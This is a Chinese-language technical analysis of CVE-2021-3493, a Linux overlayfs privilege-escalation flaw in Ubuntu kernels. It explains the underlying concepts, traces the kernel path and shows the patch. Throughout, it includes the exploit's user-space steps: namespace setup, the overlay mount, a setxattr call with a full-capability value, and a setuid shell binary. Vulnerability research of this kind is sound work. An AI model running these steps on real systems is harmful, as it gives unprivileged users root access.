CVE-2021-3493 内核overlayfs提权漏洞分析 – 作者:中兴沉烽实验室

一、漏洞简介

漏洞背景

linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限，从而导致普通用户可以利用该漏洞提升权限为root用户。

该漏洞NVD的打分为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H，最终得分为7.8分（高危）。

漏洞影响范围为:

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

漏洞成因

linux内核代码允许低权限用户在使用unshare()函数创建的用户命名空间中挂载overlayfs文件系统。当使用setxattr()函数设置merged联合挂载目录中文件的security.capablility扩展属性时，根据overlayfs文件系统的特性，将实际修改init_user_ns下upper目录中对应文件的扩展属性，从而造成本地提权问题。

二、基本概念

2.1 Overlayfs

Overlayfs是一个面向Linux的文件系统服务，其实现一个面向其他类型文件系统(如ext4fs、ext3fs等)的联合挂载，而不直接参与磁盘空间结构的划分。于2014年被合并到Linux内核的3.18版本，目前功能已经稳定且被逐渐推广，并在docker容器技术中得到广泛的应用。

如图所示，Overlayfs由两个文件系统组合而成：一个upper文件系统和一个lower文件系统，两种文件系统联合挂载成为一个目录。upper目录只能有一个，而lower可以有多个。upper目录中的文件会覆盖lower中的同名文件，比如图中merged目录中的file3目录最终显示的是upper目录中的file3目录。当存在多个lower目录时，高级别lower目录中的文件也会覆盖低级别lower目录中的文件。

upper目录可读可写，图中file3、file4文件的修改会被映射到upper中，比如删除或者修改操作。而lower目录是只读目录，file1和file2的改动不会影响到lower目录中的真实文件。当删除文件file1时，系统会创建一个删除标记，而不会真正删除lower中的文件。当改写lower层的文件时，系统会将文件拷贝至upper目录中进行修改，并隐藏lower目录中的同名文件。

2.2 linux capabilities机制

Linux内核2.2引入了capabilities机制，并在后续使用中使用完善。该机制将root用户的权限细分为不同的领域，可以分别启用或禁用。在实际进行特权操作时，如果euid不是root，系统会校验该线程是否具有完成操作对应的capabilities特权。线程和文件均有capabilities的概念。

表格中列取了几个常见的capabilities作为例子。

capability 名称	功能描述
CAP_CHOWN	修改文件所有者的权限
CAP_KILL	允许对不属于自己的进程发送信号
CAP_SETFCAP	允许为文件设置任意的 capabilities
CAP_SETUID	允许改变进程的 UID
CAP_SYS_ADMIN	允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等

2.2.1 线程的capabilities

每一个线程，具有3个capabilities的集合，分别是：

• Permitted

  Permitted集合定义了线程的特权上限，如果执行操作所需要的capability不在该集合中，那么该线程不会进行对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。

• Inheritable

  当执行exec()系统调用运行其他程序时，哪些特权能够被新线程继承capabilities。

• Effective

  内核检查该线程是否可以进行特权操作时，检查的对象便是Effective集合。线程可以删除Effective集合中的某capability，随后在需要时，再从Permitted集合中恢复该capability，以此达到临时禁用capability的功能。

2.2.2 文件的capabilities

文件的capabilities被记录在文件的拓展属性中。当某线程想修改这些扩展属性时，需要具有CAP_SETFCAP的capability。

• Permitted

文件被执行时加入其线程的Permitted集合。

• Inheritable

这个集合与线程的Inheritable集合的交集作为执行完exec后实际继承的capabilities。

• Effective

如果设置开启，那么在运行后，Permitted集合中新增的capabilities会自动出现在Effective集合中；否则不会出现在Effective集合中。对于一些旧的可执行文件，由于其不会调用capabilities相关函数设置自身的Effective集合，所以可以将该可执行文件的Effective bit开启，从而将Permitted集合中的capabilities自动添加到Effective集合中。

• ambient

  在内核4.3后引入，用于补充Inheritable使用上的缺陷，ambien集合可以使用函数prctl修改。当程序由于SUID(SGID)bit位而转变UID(GID)，或执行带有文件capabilities的程序时会导致该集合被清空

2.3 User namespace

User namespace 是 Linux 3.8 新增的一种 namespace，用于隔离安全相关的资源，包括 user IDs and group IDs，keys, 和 capabilities。同样一个用户的 user ID 和 group ID 在不同的 user namespace 中可以不一样(与 PID nanespace 类似)。换句话说，一个用户可以在一个 user namespace 中是普通用户，但在另一个 user namespace 中是超级用户。

系统启动时，就有一个默认的全局 init_user_ns，新创建一个 user namespace 会重新规划这个 ns 的 capability 能力，和这个 user namespace 父辈的 capability 能力无关。在新 user namespace 中 uid 0 等于 root 默认拥有所有 capability，普通用户的 capability 是在 execve() 时由 task->real_cred->cap_inheritable + file capability 综合而成。

三、漏洞分析

3.1 环境信息

系统版本：Ubuntu 18.04.5 LTS

内核版本：4.15.18+

内核编译环境：

gcc version 7.5.0

GNU Make 4.1

3.2 创建挂载目录

首先生成./poc文件夹，以及./poc/work、./poc/lower、./poc/upper、./poc/overlayfs等子文件夹，作为Overlayfs的挂载点。

#define DIR_WORK    "./poc/work"
#define DIR_LOWER   "./poc/lower"
#define DIR_UPPER   "./poc/upper"
#define DIR_OVERLAY   "./poc/overlayfs"
​
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK,  0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_OVERLAY, 0777);

3.2 创建user namespace及cred

调用unshare()函数创建新的user namespace，以获取挂载Overlayfs并进行逃逸的权限。注意内核需要开启相关参数支持user namespace隔离，/boot/cpnfig-generic配置文件中的CONFIG_NAMESPACES、CONFIG_USER_NS参数应为y。

if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");

进入SyS_unshare()系统调用，调用内核unshare_userns()函数创建新的user namespace，以及对应的struct cred *cred结构体。根据user namespace的特性，此时会重新规划线程的capabilities。

int unshare_userns(unsigned long unshare_flags, struct cred **new_cred)
{
struct cred *cred;
int err = -ENOMEM;
if (!(unshare_flags & CLONE_NEWUSER))
return 0;
cred = prepare_creds();
if (cred) {
err = create_user_ns(cred);
if (err)
put_cred(cred);
else
*new_cred = cred;
}
return err;
}

进入set_cred_user_ns()函数，将cap_effective以及cap_permitted设置为CAP_FULL_SET。

static void set_cred_user_ns(struct cred *cred, struct user_namespace *user_ns)
{
/* Start with the same capabilities as init but useless for doing
* anything as the capabilities are bound to the new user namespace.
*/
cred->securebits = SECUREBITS_DEFAULT;
cred->cap_inheritable = CAP_EMPTY_SET;
cred->cap_permitted = CAP_FULL_SET;
cred->cap_effective = CAP_FULL_SET;
cred->cap_ambient = CAP_EMPTY_SET;
cred->cap_bset = CAP_FULL_SET;
#ifdef CONFIG_KEYS
key_put(cred->request_key_auth);
cred->request_key_auth = NULL;
#endif
/* tgcred will be cleared in our caller bc CLONE_THREAD won't be set */
cred->user_ns = user_ns;
}

该内核函数调用栈打印如下。

打印的cred结构体中cap_permitted以及cap_effective的值如下。

cred->user_ns的值为0xffff8881b4b8f050，对应创建的ns。

接下来在用户态中调用xwritefile()函数，将/proc/self/setgroups文件的值写为deny，uid_map值写为0 1000 1以及gid_map的值写为0 1000 1，表示将当前uid=1000,guid=1000的test用户映射为namespace中的root用户。注意，Linx 3.19后的内核调用中需要将setgroups设置成deny，以禁用user namespace中的、setgroups()系统调用，才能更新gid_maps的值。否则修改会报write /proc/self/gid_map: Operation not permitted的错。

static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
​
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);

打印此时的gid_map以及uid_map映射文件，结果如下。

3.4 挂载overlayfs文件系统

ubuntu内核/fs/overlayfs/super.c文件中的ovl_fs_type结构体设置了fs_flags字段，系统在执行module_init会进行加载。普通用户在低权限的user namespace中挂载一个Overlayfs。

static struct file_system_type ovl_fs_type = {
.owner        = THIS_MODULE,
.name        = "overlay",
.mount        = ovl_mount,
.kill_sb    = kill_anon_super,
.fs_flags    = FS_USERNS_MOUNT,
};
MODULE_ALIAS_FS("overlay");
static int __init ovl_init(void)
{
int err;
ovl_inode_cachep = kmem_cache_create("ovl_inode",
sizeof(struct ovl_inode), 0,
(SLAB_RECLAIM_ACCOUNT|
SLAB_MEM_SPREAD|SLAB_ACCOUNT),
ovl_inode_init_once);
if (ovl_inode_cachep == NULL)
return -ENOMEM;
err = register_filesystem(&ovl_fs_type);
if (err)
kmem_cache_destroy(ovl_inode_cachep);
return err;
}
module_init(ovl_init);

用户态中执行mount()函数挂载Overlayfs，参数中指定lowerdir为./poc/lower，upperdir为./poc/upper，merged为./poc/overlayfs文件夹。

sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_OVERLAY, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_OVERLAY);

mount()函数触发SyS_mount系统调用，并最终进入内核sget_userns函数校验此时的fs_flags值是否为FS_USERNS_MOUNT，以及是否具备CAP_SYS_ADMIN的权限，此处校验通过，Overlayfs正常挂载。

//include/linux/fs.h
#define FS_USERNS_MOUNT     8   /* Can be mounted by userns root */
//fs/super.c
struct super_block *sget_userns(struct file_system_type *type,
int (*test)(struct super_block *,void *),
int (*set)(struct super_block *,void *),
int flags, struct user_namespace *user_ns,
void *data)
{
struct super_block *s = NULL;
struct super_block *old;
int err;
if (!(flags & (SB_KERNMOUNT|SB_SUBMOUNT)) &&
!(type->fs_flags & FS_USERNS_MOUNT) &&
!capable(CAP_SYS_ADMIN))
return ERR_PTR(-EPERM);
...
return s;
}

执行该函数时，内核的调用栈如下。

打印此时的type结构体可以观察fs_flags值被module_init设置为0x8。

3.5 利用setxattr函数漏洞进行逃逸

编译生成提权shellcode，elevated_privileges.o，用于提权并获取shell，该文件源码如下。

//提权文件elevated_privileges.o源码
int main(int argc, char *argv[]){
	setuid(0);    
	setgid(0);   
	execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
}

拷贝elevated_privileges.o至./poc/overlayfs/文件夹，根据overlayfs的特性，./poc/upper会同时生成elevated_privileges.o文件。

#define BIN_OVERLAY   "./poc/overlayfs/elevated_privileges.o" 
xcopyfile("./elevated_privileges.o", BIN_OVERLAY, 0777);

在用户态中调用setxattr()函数，将./poc/overlayfs/elevated_privileges.o的设置扩展属性security.capability，获取提权权限，以使用setuid()和setgid()函数进行权限提升。

char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
if (setxattr(BIN_OVERLAY, "security.capability", cap, sizeof(cap) - 1, 0) == -1
err(1, "setxattr %s", BIN_OVERLAY);

value字段对应的结构体位于include/uapi/linux/capability.h文件中。根据定义，effective bit被设置为1，permitted被设置为0xffffffff，inheritable被设置为0x00000000。当执行shellcode时，线程将具备所有特权，包括CAP_SETFCAP特权，可进行提权。

struct vfs_cap_data {
	__le32 magic_etc;            /* Little endian */
	struct {
		__le32 permitted;    /* Little endian */
		__le32 inheritable;  /* Little endian */
	} data[VFS_CAP_U32];
};

下面分析执行setxattr()函数的时候，内核的处理过程。

3.5.1 绕过capability校验

该函数触发SyS_setxattr系统调用，并进入path_setxattr()函数。

path_setxattr
static int path_setxattr(const char __user *pathname,
             const char __user *name, const void __user *value,
             size_t size, int flags, unsigned int lookup_flags)
{
    struct path path;
    int error;
retry:
    error = user_path_at(AT_FDCWD, pathname, lookup_flags, &path);
    if (error)
        return error;
    error = mnt_want_write(path.mnt);
    if (!error) {
        error = setxattr(path.dentry, name, value, size, flags);
        mnt_drop_write(path.mnt);
    }
    path_put(&path);
    if (retry_estale(error, lookup_flags)) {
        lookup_flags |= LOOKUP_REVAL;
        goto retry;
    }
    return error;
}

此时调用堆栈如下。

打印pathname和value参数。

path_setxattr()会调用的setxattr()函数设置文件的扩展属性，该函数首先会执行cap_convert_nscap()检查权限，包括文件所属的namespace以及当前运行环境的namespace是否一致，以及当前用户是否具有CAP_SETFCAP的权限。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
...
        if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
            (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
            posix_acl_fix_xattr_from_user(kvalue, size);
        else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
            error = cap_convert_nscap(d, &kvalue, size);
            if (error < 0)
                goto out;
            size = error;
        }
    }
...
}

cap_convert_nscap()函数获取目录项对应的索引节点inode及inode所属的username space。current_user_ns()返回目前运行的user namespace，其值为0xffff8881b4b8f050，对应攻击者创建的user namespace。由于采用VFS_CAP_REVISION_2版本，if语句中进入ns_capable()函数检查权限。

int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
...
    struct inode *inode = d_backing_inode(dentry);

    struct user_namespace *task_ns = current_user_ns(),
        *fs_ns = inode->i_sb->s_user_ns;
...
    if (size == XATTR_CAPS_SZ_2)
        if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP))
            /* user is privileged, just write the v2 */
            return size;

...
}

ns_capable()通过ns_capable_common()调用security_capable()。

bool ns_capable(struct user_namespace *ns, int cap) 
// ns_capable (ns=0xffff8881b516c3a0, cap=0x1f)
{
p (*(struct user_namespace *)0xffff8881b7186000)
    return ns_capable_common(ns, cap, CAP_OPT_NONE);
}

static bool ns_capable_common(struct user_namespace *ns,
                  int cap,
                  unsigned int opts)
{
    int capable;
    if (unlikely(!cap_valid(cap))) {
        pr_crit("capable() called with invalid cap=%u\n", cap);
        BUG();
    }
    capable = security_capable(current_cred(), ns, cap, opts);
    struct cred
    if (capable == 0) {
        current->flags |= PF_SUPERPRIV;
        return true;
    }
    return false;

}

在security_capable()中，内核通过hook机制，最终将当前的cred、ns等作为参数送给cap_capable()函数。

int security_capable(const struct cred *cred,
             struct user_namespace *ns,
             int cap,
             unsigned int opts)
{
    return call_int_hook(capable, 0, cred, ns, cap, opts);
}

打印此时的security_hook_heads链表，可找到对应的处理函数。

cap_capable函数对比inode的ns值以及cred->user_ns值，确保文件user namespace和当前user namespace一致，并且使用cap_raised()检查cred->cap_effective是否具有CAP_SETFCAP的权限。

int cap_capable(const struct cred *cred, struct user_namespace *targ_ns,
        int cap, unsigned int opts)
  {
    struct user_namespace *ns = targ_ns;
         for (;;) {
       if (ns == cred->user_ns)
            return cap_raised(cred->cap_effective, cap) ? 0 : -EPERM;
...
    }
}

打印此时的cred->user_ns，为unshare生成的user namespace，内存为0xffff8881b4b8f050，并且cap_effective在namespace初始化时设置为CAP_FULL_SET，此处通过校验。

3.5.2 利用overlayfs特性逃逸修改upper文件capability

返回setxattr()后调用vfs_setxattr()设置目录项的security.capability扩展属性。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
...
    error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
    kvfree(kvalue);
    return error;
}

__vfs_setxattr()函数调用xattr_resolve_name，解析当前inode所使用的扩展属性处理函数。

int
__vfs_setxattr(struct dentry *dentry, struct inode *inode, const char *name,
           const void *value, size_t size, int flags)
{
    const struct xattr_handler *handler;

    handler = xattr_resolve_name(inode, &name);
    if (IS_ERR(handler))
        return PTR_ERR(handler);
    if (!handler->set)
        return -EOPNOTSUPP;
    if (size == 0)
        value = "";  /* empty EA, do not remove */
    return handler->set(handler, dentry, inode, name, value, size, flags);//150
}

根据inode->i_sb->s_xattr的值解析出对应的处理方法为ovl_xattr_handlers。

最终进入ovl_xattr_set函数，此时调用路径如下。

根据overlay的特性该函数会获取真正的目录项realdentry。

int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name,
          const void *value, size_t size, int flags)
{
    int err;
    struct dentry *upperdentry = ovl_i_dentry_upper(inode);
    struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry);
    const struct cred *old_cred;
...
    if (!upperdentry) {
        err = ovl_copy_up(dentry);
        if (err)
            goto out_drop_write;

        realdentry = ovl_dentry_upper(dentry);                                                                            //249行
    }
    old_cred = ovl_override_creds(dentry->d_sb);
    if (value)
        err = vfs_setxattr(realdentry, name, value, size, flags);                                                    //254行
    else {
        WARN_ON(flags != XATTR_REPL);
        err = vfs_removexattr(realdentry, name);
    }

...
}

结构体realdentry->d_parent->d_name指向upper文件夹，表示realdentry位于upper文件夹下，user namespace为初始的init_user_ns。接下来递归调用vfs_setxattr函数设置realdentry的扩展属性，造成user namespace逃逸。

再次进入__vfs_setxattr()，xattr_resolve_name()函数解析出upper的处理方法为ext4_xattr_security_set方法。最终通过该方法将./poc/upper/elevated_privileges.o文件的capability设置成拥有全部特权的模式。

int
__vfs_setxattr(struct dentry *dentry, struct inode *inode, const char *name,
           const void *value, size_t size, int flags)
{
    const struct xattr_handler *handler;c

    handler = xattr_resolve_name(inode, &name);
    if (IS_ERR(handler))
        return PTR_ERR(handler);
    if (!handler->set)
        return -EOPNOTSUPP;
    if (size == 0)
        value = "";  /* empty EA, do not remove */
    return handler->set(handler, dentry, inode, name, value, size, flags);//150
}

3.6 运行shellcode进行提权

观察./poc/upper/elevated_privileges.o文件的security.capability扩展字段，该字段已经被修改。

运行该文件，提权为root。

四、漏洞修复

补丁将setxattr()中的cap_convert_nscap()校验函数移动到了vfs_setxattr()中，设置任何目录项的security.capability扩展属性时，都会进行user namespace和capability的校验，补丁具体信息如下。

diff --git a/fs/xattr.c b/fs/xattr.c
index cd7a563e8bcd4..fd57153b1f617 100644
--- a/fs/xattr.c
+++ b/fs/xattr.c
@@ -276,8 +276,16 @@ vfs_setxattr(struct dentry *dentry, const char *name, const void *value,
 {
 	struct inode *inode = dentry->d_inode;
 	struct inode *delegated_inode = NULL;
+	const void  *orig_value = value;
 	int error;
 
+	if (size && strcmp(name, XATTR_NAME_CAPS) == 0) {
+		error = cap_convert_nscap(dentry, &value, size);
+		if (error < 0)
+			return error;
+		size = error;
+	}
+
 retry_deleg:
 	inode_lock(inode);
 	error = __vfs_setxattr_locked(dentry, name, value, size, flags,
@@ -289,6 +297,9 @@ retry_deleg:
 		if (!error)
 			goto retry_deleg;
 	}
+	if (value != orig_value)
+		kfree(value);
+
 	return error;
 }
 EXPORT_SYMBOL_GPL(vfs_setxattr);
@@ -537,12 +548,6 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value,
 		if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
 		    (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
 			posix_acl_fix_xattr_from_user(kvalue, size);
-		else if (strcmp(kname, XATTR_NAME_CAPS) == 0) {
-			error = cap_convert_nscap(d, &kvalue, size);
-			if (error < 0)
-				goto out;
-			size = error;
-		}
 	}
 
 	error = vfs_setxattr(d, kname, kvalue, size, flags);

普通系统用户可通过升级系统至最新版本修复此漏洞。

作者：中兴沉烽实验室_流光奕然

来源：freebuf.com 2021-06-01 16:56:24 by: 中兴沉烽实验室